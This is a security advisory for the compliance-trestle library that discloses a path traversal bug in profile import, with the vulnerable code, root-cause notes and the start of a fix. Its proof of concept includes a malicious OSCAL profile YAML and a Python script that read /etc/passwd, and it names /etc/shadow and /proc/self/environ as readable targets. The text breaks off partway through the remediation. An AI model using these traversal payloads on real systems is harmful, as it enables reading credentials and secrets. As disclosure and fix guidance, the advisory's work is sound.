compliance-trestle Profile Import has an Arbitrary File Read via trestle:// URI and Relative Path Traversal
Summary
The compliance-trestle library's profile import mechanism resolves trestle:// URIs and relative file paths by joining them with trestle_root and calling .resolve(), but performs no boundary check to ensure the resolved path stays within the trestle workspace. An attacker can craft a malicious OSCAL profile YAML with imports[].href containing path traversal sequences to read arbitrary files from the server filesystem.
Three attack vectors confirmed:
1. PT-001: trestle://../../etc/passwd — via trestle:// URI scheme
2. PT-002: ../../etc/passwd — via relative path in href
3. PT-003: back_matter rlinks with traversal paths
Preconditions: Victim must import/resolve an attacker-controlled OSCAL profile YAML.
Affected Component
Repository: https://github.com/IBM/compliance-trestle
File: trestle/core/remote/cache.py (lines 175-179)
File: trestle/core/resolver/_import.py (line 104)
Version: v4.0.2 (latest as of 2026-04-30)
Vulnerable Code
cache.py:175-179 — LocalFetcher (trestle:// URI handling)
```python
class LocalFetcher(FetcherBase):
def __init__(self, trestle_root: pathlib.Path, uri: str) -> None:
super().__init__(trestle_root, uri)
# ...
elif uri.startswith(const.TRESTLE_HREF_HEADING):
uri = str(trestle_root / uri[len(const.TRESTLE_HREF_HEADING) :])
self._abs_path = pathlib.Path(uri).resolve()
# ❌ NO boundary check — .resolve() follows ../
# ❌ NO is_relative_to() validation
# ❌ Result can be /etc/passwd
self._cached_object_path = self._abs_path
return
```
cache.py:194 — LocalFetcher (relative path handling)
```python
# For relative paths (no trestle:// or file:// prefix):
try:
self._abs_path = pathlib.Path(uri).resolve()
# ❌ Same issue — resolves relative to CWD with no boundary check
except Exception:
raise TrestleError(...)
```
_import.py:73-104 — Profile import href resolution
```python
class Import(Pipeline.Filter):
def __init__(self, ...):
# Line 73-83: back_matter rlinks used directly
if self._import.href[0] == '#':
resource = [r for r in self._resources if r.uuid == self._import.href[1:]][0]
self._import.href = [
rlink.href # ❌ rlink.href from OSCAL data — user-controlled
for rlink in resource.rlinks
if rlink.href.endswith('.json') or rlink.href.endswith('.yaml')
][0]
# Line 104: href passed directly to FetcherFactory
fetcher = cache.FetcherFactory.get_fetcher(self._trestle_root, self._import.href)
```
Root Cause:
1. Path(trestle_root / "../../etc/passwd").resolve() = /etc/passwd
2. No is_relative_to(trestle_root) check after resolve
3. TRESTLE_HREF_REGEX defined at const.py:253 but NEVER enforced (dead code)
4. Even if enforced, the regex '^trestle://[^/]' would PASS traversal payloads (. is [^/])
Steps to Reproduce
Prerequisites
```bash
pip install compliance-trestle==4.0.2
```
PoC: Malicious OSCAL Profile
```yaml
# malicious_profile.yaml
profile:
uuid: "550e8400-e29b-41d4-a716-446655440000"
metadata:
title: "Malicious Profile"
version: "1.0"
last-modified: "2024-01-01T00:00:00+00:00"
oscal-version: "1.0.4"
imports:
- href: "trestle://../../../../../../etc/passwd"
```
PoC: Direct LocalFetcher Exploit
```python
#!/usr/bin/env python3
"""PoC: trestle:// path traversal via real LocalFetcher"""
from pathlib import Path
from trestle.core.remote.cache import LocalFetcher
import tempfile
trestle_root = Path(tempfile.mkdtemp())
# Normal usage — stays within workspace
normal = LocalFetcher(trestle_root, "trestle://catalogs/test/catalog.json")
print(f"Normal: {normal._abs_path}") # /tmp/xxx/catalogs/test/catalog.json
# Exploit — escapes workspace
evil = LocalFetcher(trestle_root, "trestle://../../../../../../etc/passwd")
print(f"Evil: {evil._abs_path}") # /etc/passwd
print(f"Content: {evil._abs_path.read_text().split(chr(10))[0]}")
# Output: root:x:0:0:root:/root:/bin/bash
```
Expected: Path traversal blocked with error
Actual: /etc/passwd, /etc/shadow, /proc/self/environ read successfully
Remediation
```python
class LocalFetcher(FetcherBase):
def __init__(self, trestle_root: pathlib.Path, uri: str) -> None:
super().__init__(trestle_root, uri)
# ...
elif uri.startswith(const.TRESTLE_HREF_HEADING):
uri = str(trestle_root / uri[len(const.TRESTLE_HREF_HEADING) :])
self._abs_path = pathlib.Path(uri).resolve()
# ✅ ADD: Boundary check
if not self._abs_path.is_relative_to(self._trestle_root):
raise TrestleError(
f"Path tr
